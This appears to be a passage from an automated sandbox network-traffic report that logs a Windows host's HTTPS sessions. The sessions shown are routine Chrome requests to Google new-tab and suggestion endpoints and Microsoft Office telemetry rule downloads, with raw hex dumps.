2024-11-19 19:05:28 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	49755	142.250.185.100	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	595	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 19:05:29 UTC	1266	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-wwYfyz8PCtzc5hg7ZwNOkQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 19:05:29 UTC	124	IN	Data Raw: 33 33 35 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 62 6c 61 63 6b 72 6f 63 6b 20 62 69 74 63 6f 69 6e 20 65 74 66 22 2c 22 73 74 72 61 6e 67 65 72 20 74 68 69 6e 67 73 20 6e 65 77 20 73 65 61 73 6f 6e 22 2c 22 63 6f 73 74 61 20 72 69 63 61 20 6c 69 62 65 72 69 61 20 61 69 72 70 6f 72 74 20 63 6c 6f 73 75 72 65 22 2c 22 67 72 65 65 6e 20 62 61 79 20 70 61 63 6b 65 72 73 20 Data Ascii: 335)]}'["",["blackrock bitcoin etf","stranger things new season","costa rica liberia airport closure","green bay packers
2024-11-19 19:05:29 UTC	704	IN	Data Raw: 62 6c 6f 63 6b 65 64 20 66 69 65 6c 64 20 67 6f 61 6c 22 2c 22 77 69 6e 74 65 72 20 73 74 6f 72 6d 20 77 61 72 6e 69 6e 67 20 6f 72 65 67 6f 6e 22 2c 22 70 6f 6b 65 6d 6f 6e 20 73 63 61 72 6c 65 74 20 73 68 69 6e 79 20 72 61 79 71 75 61 7a 61 20 72 61 69 64 22 2c 22 6c 61 77 73 6f 6e 69 62 61 63 74 65 72 20 61 73 61 63 63 68 61 72 6f 6c 79 74 69 63 75 73 20 61 62 75 6e 64 61 6e 63 65 22 2c 22 65 69 69 63 68 69 72 6f 20 6f 64 61 20 68 65 61 6c 74 68 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 Data Ascii: blocked field goal","winter storm warning oregon","pokemon scarlet shiny rayquaza raid","lawsonibacter asaccharolyticus abundance","eiichiro oda health"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgI
2024-11-19 19:05:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.7	49756	142.250.185.100	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 19:05:29 UTC	1119	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Save-Data Accept-CH: Downlink Accept-CH: ECT Accept-CH: RTT Accept-CH: Device-Memory Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 19:05:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 19:05:29 UTC	25	IN	Data Raw: 31 33 0d 0a 29 5d 7d 27 0a 7b 22 64 64 6c 6a 73 6f 6e 22 3a 7b 7d 7d 0d 0a Data Ascii: 13)]}'{"ddljson":{}}
2024-11-19 19:05:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	49757	142.250.185.100	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	498	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIucrNAQii0c0BCIrTzQEIpNbNAQj01s0BCKfYzQEI+cDUFRj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 19:05:29 UTC	1018	IN	HTTP/1.1 200 OK Version: 696417149 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 19 Nov 2024 19:05:29 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-19 19:05:29 UTC	372	IN	Data Raw: 32 33 38 61 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 238a)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 33 2c 33 37 30 30 34 33 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 5c 75 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700333,3700439,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){var window\u
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 Data Ascii: ray(b);for(let d\u003d0;d\u003cb;d++)c[d]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i
2024-11-19 19:05:29 UTC	394	IN	Data Raw: 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 59 64 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 69 66 28 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 5f 2e 4b 64 29 61 5c 75 30 30 33 64 61 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 5a 64 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 61 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 Data Ascii: ow Error(\"F\");};_.Zd\u003dfunction(a){if(Yd.test(a))return a};_.$d\u003dfunction(a){if(a instanceof _.Kd)if(a instanceof _.Kd)a\u003da.i;else throw Error(\"F\");else a\u003d_.Zd(a);return a};_.ae\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(
2024-11-19 19:05:29 UTC	506	IN	Data Raw: 31 66 33 0d 0a 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 63 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d Data Ascii: 1f3\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ce\u003dfunction(a,b,c){return _.ub(a,b,c,!1)!\u003d\u003dvoid 0}
2024-11-19 19:05:29 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 52 64 5c 75 30 30 33 64 5f 2e 4a 64 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 59 64 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b 5c 5c 77 2b 2e 2d 5d 2b 3a 7c 5b 5e 3a 2f 3f 23 5d 2a 28 3f 3a 5b 2f 3f 23 5d 7c 24 29 29 2f 69 3b 76 61 72 20 6c 65 2c 70 65 2c 68 65 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 6e 65 77 20 68 65 28 5f 2e 69 65 28 61 29 29 3a 66 65 7c 7c 28 66 Data Ascii: 8000IndexOf(b,0)\u003d\u003d0};Rd\u003d_.Jd;_.Vd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};Yd\u003d/^\\s(?!javascript:)(?:[\\w+.-]+:\|[^:/?#](?:[/?#]\|$))/i;var le,pe,he;_.je\u003dfunction(a){return a?new he(_.ie(a)):fe\|\|(f

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.7	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 19:05:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 19:05:29 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: be70f01e-301e-000c-538c-3a323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T190529Z-185f5d8b95cp7lkfhC1NYC7rpw000000094g000000015q9m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 19:05:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	49760	142.250.185.100	443	7620	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 19:05:29 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
